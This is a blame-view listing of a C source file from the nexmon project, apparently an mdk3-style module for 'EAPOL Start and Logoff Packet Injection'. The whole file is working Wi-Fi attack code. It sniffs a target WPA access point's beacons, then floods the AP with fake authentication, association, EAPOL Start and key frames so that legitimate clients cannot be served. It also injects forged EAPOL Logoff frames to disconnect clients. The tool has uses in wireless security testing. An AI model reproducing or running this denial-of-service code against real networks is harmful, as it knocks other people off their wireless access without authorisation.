nexmon – Blame information for rev 1
?pathlinks?
Rev | Author | Line No. | Line |
---|---|---|---|
1 | office | 1 | #include <stdio.h> |
2 | #include <stdlib.h> |
||
3 | #include <unistd.h> |
||
4 | #include <string.h> |
||
5 | |||
6 | #include "eapol.h" |
||
7 | #include "../osdep.h" |
||
8 | #include "../mac_addr.h" |
||
9 | #include "../helpers.h" |
||
10 | |||
11 | #define EAPOL_MODE 'e' |
||
12 | #define EAPOL_NAME "EAPOL Start and Logoff Packet Injection" |
||
13 | |||
14 | #define GOT_BEACON 'b' |
||
15 | #define GOT_AUTH 'a' |
||
16 | #define GOT_ASSOC 's' |
||
17 | #define GOT_KEY1 '1' |
||
18 | |||
19 | #define BEACON_TAG_WPA1 0xDD |
||
20 | #define BEACON_TAG_RSN 0x30 |
||
21 | #define BEACON_TAG_MSFT 0x0050F201 |
||
22 | |||
23 | #define LLC_TYPE_EAPOL 0x888E |
||
24 | #define EAPOL_LOGOFF_LEN 36 |
||
25 | |||
26 | |||
27 | struct eapol_options { |
||
28 | struct ether_addr *target; |
||
29 | unsigned int speed; |
||
30 | unsigned char attack_type; |
||
31 | }; |
||
32 | |||
33 | char *target_ssid = NULL; |
||
34 | uint16_t target_capabilities = 0x0000; |
||
35 | char *target_wpa1 = NULL; |
||
36 | char *target_rsn = NULL; |
||
37 | |||
38 | uint32_t auths = 0; |
||
39 | uint32_t assocs = 0; |
||
40 | uint32_t eapols = 0; |
||
41 | uint32_t starts = 0; |
||
42 | uint32_t logoffs = 0; |
||
43 | struct ether_addr cur_logoff; |
||
44 | |||
45 | void eapol_shorthelp() |
||
46 | { |
||
47 | printf(" Floods an AP with EAPOL Start frames to keep it busy with fake sessions\n"); |
||
48 | printf(" and thus disables it to handle any legitimate clients.\n"); |
||
49 | printf(" Or logs off clients by injecting fake EAPOL Logoff messages.\n"); |
||
50 | } |
||
51 | |||
52 | void eapol_longhelp() |
||
53 | { |
||
54 | printf( " Floods an AP with EAPOL Start frames to keep it busy with fake sessions\n" |
||
55 | " and thus disables it to handle any legitimate clients.\n" |
||
56 | " Or logs off clients by injecting fake EAPOL Logoff messages.\n" |
||
57 | " -t <bssid>\n" |
||
58 | " Set target WPA AP\n" |
||
59 | " -s <pps>\n" |
||
60 | " Set speed in packets per second (Default: 400)\n" |
||
61 | " -l\n" |
||
62 | " Use Logoff messages to kick clients\n"); |
||
63 | } |
||
64 | |||
65 | |||
66 | void *eapol_parse(int argc, char *argv[]) { |
||
67 | int opt; |
||
68 | struct eapol_options *eopt = malloc(sizeof(struct eapol_options)); |
||
69 | |||
70 | eopt->target = NULL; |
||
71 | eopt->attack_type = 's'; |
||
72 | eopt->speed = 400; |
||
73 | |||
74 | while ((opt = getopt(argc, argv, "t:ls:")) != -1) { |
||
75 | switch (opt) { |
||
76 | case 't': |
||
77 | eopt->target = malloc(sizeof(struct ether_addr)); |
||
78 | *(eopt->target) = parse_mac(optarg); |
||
79 | break; |
||
80 | case 's': |
||
81 | eopt->speed = (unsigned int) atoi(optarg); |
||
82 | break; |
||
83 | case 'l': |
||
84 | eopt->attack_type = 'l'; |
||
85 | break; |
||
86 | default: |
||
87 | eapol_longhelp(); |
||
88 | printf("\n\nUnknown option %c\n", opt); |
||
89 | return NULL; |
||
90 | } |
||
91 | } |
||
92 | |||
93 | if (! eopt->target) { |
||
94 | eapol_longhelp(); |
||
95 | printf("\n\nTarget must be specified.\n"); |
||
96 | return NULL; |
||
97 | } |
||
98 | |||
99 | return (void *) eopt; |
||
100 | } |
||
101 | |||
102 | char *decode_cipher(char cipher) { |
||
103 | static char *tkip = "TKIP"; |
||
104 | static char *unknown = "???"; |
||
105 | static char *ccmp = "CCMP"; |
||
106 | |||
107 | if (cipher == 0x02) return tkip; |
||
108 | if (cipher == 0x04) return ccmp; |
||
109 | return unknown; |
||
110 | } |
||
111 | |||
112 | char *decode_keymgmt(char kmgmt) { |
||
113 | static char *psk = "PSK"; |
||
114 | static char *wpa = "WPA"; |
||
115 | static char *unknown = "???"; |
||
116 | |||
117 | if (kmgmt == 0x02) return psk; |
||
118 | if (kmgmt == 0x01) return wpa; |
||
119 | return unknown; |
||
120 | } |
||
121 | |||
122 | void decode_tag_wpa(unsigned char *tag) { |
||
123 | unsigned char *ctag = tag, *atag; |
||
124 | uint32_t i; |
||
125 | |||
126 | if (tag[0] == BEACON_TAG_WPA1) { |
||
127 | printf(" WPA 1 Info : Type %d, Version %d\n", tag[5], tag[6]); |
||
128 | tag += 4; |
||
129 | } else { |
||
130 | printf(" WPA 2 RSN : Version %d\n", tag[2]); |
||
131 | } |
||
132 | printf(" Multicast cipher %02X (%s)\n", tag[7], decode_cipher(tag[7])); |
||
133 | |||
134 | for (i = 0; i < tag[8]; i++) { |
||
135 | ctag = tag + 13 + (4 * i); |
||
136 | printf(" Unicast cipher %02X (%s)\n", ctag[0], decode_cipher(ctag[0])); |
||
137 | } |
||
138 | |||
139 | for (i = 0; i < ctag[1]; i++) { |
||
140 | atag = ctag + 6 + (4 * i); |
||
141 | printf(" Key Mgmt Suite %02X (%s)\n", atag[0], decode_keymgmt(atag[0])); |
||
142 | } |
||
143 | } |
||
144 | |||
145 | void decode_beacon(struct packet *beacon) { |
||
146 | unsigned char *tags = beacon->data + sizeof(struct ieee_hdr) + sizeof(struct beacon_fixed); |
||
147 | |||
148 | target_ssid = get_ssid(beacon, NULL); |
||
149 | target_capabilities = get_capabilities(beacon); |
||
150 | |||
151 | printf("Received Beacon from target:\n"); |
||
152 | printf(" SSID : %s\n", target_ssid); |
||
153 | printf(" Capabilities: %04X\n", target_capabilities); |
||
154 | |||
155 | while (tags < (beacon->data + beacon->len)) { |
||
156 | if (tags[0] == BEACON_TAG_WPA1) { |
||
157 | if (*((uint32_t *)(tags + 2)) == htobe32(BEACON_TAG_MSFT)) { |
||
158 | decode_tag_wpa(tags); |
||
159 | target_wpa1 = malloc(2 + tags[1]); |
||
160 | memcpy(target_wpa1, tags, 2 + tags[1]); |
||
161 | } |
||
162 | } |
||
163 | if (tags[0] == BEACON_TAG_RSN) { |
||
164 | decode_tag_wpa(tags); |
||
165 | target_rsn = malloc(2 + tags[1]); |
||
166 | memcpy(target_rsn, tags, 2 + tags[1]); |
||
167 | memset(target_rsn + tags[1], 0x00, 2); //Zero out RSN capabilities |
||
168 | } |
||
169 | tags += (tags[1] + 2); |
||
170 | } |
||
171 | } |
||
172 | |||
173 | struct packet build_eapol(struct ether_addr *target, struct ether_addr *client, uint8_t rsn_version, uint64_t rsn_replay) { |
||
174 | struct packet pkt; |
||
175 | |||
176 | create_ieee_hdr(&pkt, IEEE80211_TYPE_DATA, 't', AUTH_DEFAULT_DURATION, *target, *client, *target, SE_NULLMAC, 0); |
||
177 | add_llc_header(&pkt, LLC_TYPE_EAPOL); |
||
178 | |||
179 | if (! target_rsn) { |
||
180 | add_eapol(&pkt, 2 + target_wpa1[1], (uint8_t *) target_wpa1, 1, rsn_version, rsn_replay); |
||
181 | } else { |
||
182 | add_eapol(&pkt, 2 + target_rsn[1], (uint8_t *) target_rsn, 2, rsn_version, rsn_replay); |
||
183 | } |
||
184 | return pkt; |
||
185 | } |
||
186 | |||
187 | struct packet build_eapol_start_logoff(struct ether_addr *target, struct ether_addr *client, uint8_t start_logoff) { |
||
188 | struct packet pkt; |
||
189 | |||
190 | create_ieee_hdr(&pkt, IEEE80211_TYPE_DATA, 't', AUTH_DEFAULT_DURATION, *target, *client, *target, SE_NULLMAC, 0); |
||
191 | add_llc_header(&pkt, LLC_TYPE_EAPOL); |
||
192 | |||
193 | pkt.data[pkt.len] = 0x01; |
||
194 | pkt.data[pkt.len+1] = start_logoff; |
||
195 | pkt.data[pkt.len+2] = 0x00; |
||
196 | pkt.data[pkt.len+3] = 0x00; |
||
197 | |||
198 | pkt.len += 4; |
||
199 | return pkt; |
||
200 | } |
||
201 | |||
202 | struct packet eapol_logoff(struct ether_addr *target) { |
||
203 | struct packet sniffed; |
||
204 | struct ether_addr *bssid = NULL, *client = NULL; |
||
205 | struct ieee_hdr *hdr; |
||
206 | |||
207 | do { |
||
208 | sniffed = osdep_read_packet(); |
||
209 | if (sniffed.len == EAPOL_LOGOFF_LEN) continue; //Skip own packets! |
||
210 | hdr = (struct ieee_hdr *) sniffed.data; |
||
211 | bssid = get_bssid(&sniffed); |
||
212 | |||
213 | if (hdr->flags & 0x02) { //FromDS |
||
214 | client = get_destination(&sniffed); |
||
215 | } else { |
||
216 | client = get_source(&sniffed); |
||
217 | } |
||
218 | |||
219 | if ((hdr->type == IEEE80211_TYPE_DATA) || (hdr->type == IEEE80211_TYPE_QOSDATA)) { |
||
220 | if (MAC_MATCHES(*bssid, *target)) break; |
||
221 | } |
||
222 | } while(1); |
||
223 | |||
224 | logoffs++; |
||
225 | MAC_COPY(cur_logoff, *client); |
||
226 | return build_eapol_start_logoff(target, client, 2); |
||
227 | } |
||
228 | |||
229 | struct packet eapol_getpacket(void *options) { |
||
230 | struct eapol_options *eopt = (struct eapol_options *) options; |
||
231 | struct packet sniffed, pkt; |
||
232 | struct ieee_hdr *hdr; |
||
233 | struct ether_addr *bssid = NULL, *client = NULL; |
||
234 | char usable_packet = 0, pack_type = 0; |
||
235 | static char need_beacon = 2, blocks_auth = 0; |
||
236 | static struct packet old; |
||
237 | uint8_t rsn_version = 0; |
||
238 | uint64_t rsn_replay = 0; |
||
239 | |||
240 | if (need_beacon == 2) { old.len = 0; need_beacon = 1; } //init |
||
241 | |||
242 | sleep_till_next_packet(eopt->speed); |
||
243 | |||
244 | if (eopt->attack_type == 'l') return eapol_logoff(eopt->target); |
||
245 | |||
246 | do { |
||
247 | sniffed = osdep_read_packet(); |
||
248 | |||
249 | if (old.len == sniffed.len) { |
||
250 | if (! memcmp(old.data + 2, sniffed.data + 2, old.len - 2)) { |
||
251 | continue; //Its a retry, skip it |
||
252 | } |
||
253 | } |
||
254 | |||
255 | old = sniffed; |
||
256 | |||
257 | hdr = (struct ieee_hdr *) sniffed.data; |
||
258 | |||
259 | if (hdr->type == IEEE80211_TYPE_BEACON) { |
||
260 | bssid = get_bssid(&sniffed); |
||
261 | if (MAC_MATCHES(*bssid, *(eopt->target))) { |
||
262 | usable_packet = 1; pack_type = GOT_BEACON; |
||
263 | if (need_beacon) decode_beacon(&sniffed); |
||
264 | need_beacon = 0; |
||
265 | } |
||
266 | } |
||
267 | |||
268 | if (! need_beacon) { |
||
269 | |||
270 | if (hdr->type == IEEE80211_TYPE_AUTH) { |
||
271 | usable_packet = 1; pack_type = GOT_AUTH; |
||
272 | client = get_destination(&sniffed); |
||
273 | if (! blocks_auth) { |
||
274 | struct auth_fixed *af = (struct auth_fixed *) (sniffed.data + sizeof(struct ieee_hdr)); |
||
275 | if (af->status != AUTH_STATUS_SUCCESS) { |
||
276 | printf("\rAP starts blocking Authentication :) \n"); |
||
277 | blocks_auth = 1; |
||
278 | } |
||
279 | } |
||
280 | } |
||
281 | |||
282 | if (hdr->type == IEEE80211_TYPE_ASSOCRES) { |
||
283 | usable_packet = 1; pack_type = GOT_ASSOC; |
||
284 | client = get_destination(&sniffed); |
||
285 | if (blocks_auth < 2) { |
||
286 | if ((sniffed.data[sizeof(struct ieee_hdr) + 2] != 0x00) || (sniffed.data[sizeof(struct ieee_hdr) + 3] != 0x00)) { |
||
287 | printf("\rAP starts blocking Association :) \n"); |
||
288 | blocks_auth = 2; |
||
289 | } |
||
290 | } |
||
291 | } |
||
292 | |||
293 | if ((hdr->type == IEEE80211_TYPE_DATA) || (hdr->type == IEEE80211_TYPE_QOSDATA)) { |
||
294 | struct llc_header *llc = (struct llc_header *) (sniffed.data + sizeof(struct ieee_hdr)); |
||
295 | if (llc->type == htobe16(LLC_TYPE_EAPOL)) { |
||
296 | struct rsn_auth *rsn = (struct rsn_auth *) (sniffed.data + sizeof(struct ieee_hdr) + sizeof(struct llc_header)); |
||
297 | usable_packet = 1; pack_type = GOT_KEY1; |
||
298 | client = get_destination(&sniffed); |
||
299 | rsn_version = rsn->version; |
||
300 | rsn_replay = rsn->replay_counter; |
||
301 | } |
||
302 | } |
||
303 | |||
304 | if (client && MAC_MATCHES(*client, *(eopt->target))) usable_packet = 0; //Thats one of our packets... |
||
305 | } |
||
306 | } while(! usable_packet); |
||
307 | |||
308 | switch (pack_type) { |
||
309 | case GOT_BEACON: |
||
310 | pkt = create_auth(*bssid, generate_mac(MAC_KIND_RANDOM), 1); |
||
311 | auths++; |
||
312 | break; |
||
313 | case GOT_AUTH: |
||
314 | pkt = create_assoc_req(*client, *(eopt->target), target_capabilities, target_ssid, 54); |
||
315 | assocs++; |
||
316 | if (! target_rsn) { |
||
317 | if (!target_wpa1) { |
||
318 | printf("\rERROR: AP sends no WPA tags, AP does not support WPA, exiting...\n"); |
||
319 | pkt.len = 0; return pkt; |
||
320 | } |
||
321 | memcpy(pkt.data + pkt.len, target_wpa1, target_wpa1[1] + 2); |
||
322 | pkt.len += target_wpa1[1] + 2; |
||
323 | } else { |
||
324 | memcpy(pkt.data + pkt.len, target_rsn, target_rsn[1] + 2); |
||
325 | pkt.len += target_rsn[1] + 2; |
||
326 | } |
||
327 | break; |
||
328 | case GOT_ASSOC: |
||
329 | pkt = build_eapol_start_logoff(eopt->target, client, 1); |
||
330 | starts++; |
||
331 | break; |
||
332 | case GOT_KEY1: |
||
333 | pkt = build_eapol(eopt->target, client, rsn_version, rsn_replay); |
||
334 | eapols++; |
||
335 | break; |
||
336 | default: //Somethings wrong.... |
||
337 | pkt.len = 0; |
||
338 | } |
||
339 | |||
340 | return pkt; |
||
341 | } |
||
342 | |||
343 | |||
344 | void eapol_print_stats(void *options) { |
||
345 | struct eapol_options *eopt = (struct eapol_options *) options; |
||
346 | |||
347 | if (eopt->attack_type == 'l') { |
||
348 | printf("\rLogoff messages sent: %6d Currently Logging off: ", logoffs); print_mac(cur_logoff); printf("\n"); |
||
349 | } else { |
||
350 | printf("\rInjected: Authentication: %6d Association: %6d EAP Start : %6d EAP Key: %6d\n", auths, assocs, starts, eapols); |
||
351 | } |
||
352 | } |
||
353 | |||
354 | |||
355 | void eapol_perform_check(void *options) { |
||
356 | //Nothing to check |
||
357 | options = options; //Avoid unused warning |
||
358 | } |
||
359 | |||
360 | |||
361 | struct attacks load_eapol() { |
||
362 | struct attacks this_attack; |
||
363 | char *eapol_name = malloc(strlen(EAPOL_NAME) + 1); |
||
364 | strcpy(eapol_name, EAPOL_NAME); |
||
365 | |||
366 | this_attack.print_shorthelp = (fp) eapol_shorthelp; |
||
367 | this_attack.print_longhelp = (fp) eapol_longhelp; |
||
368 | this_attack.parse_options = (fpo) eapol_parse; |
||
369 | this_attack.get_packet = (fpp) eapol_getpacket; |
||
370 | this_attack.print_stats = (fps) eapol_print_stats; |
||
371 | this_attack.perform_check = (fps) eapol_perform_check; |
||
372 | this_attack.mode_identifier = EAPOL_MODE; |
||
373 | this_attack.attack_name = eapol_name; |
||
374 | |||
375 | return this_attack; |
||
376 | } |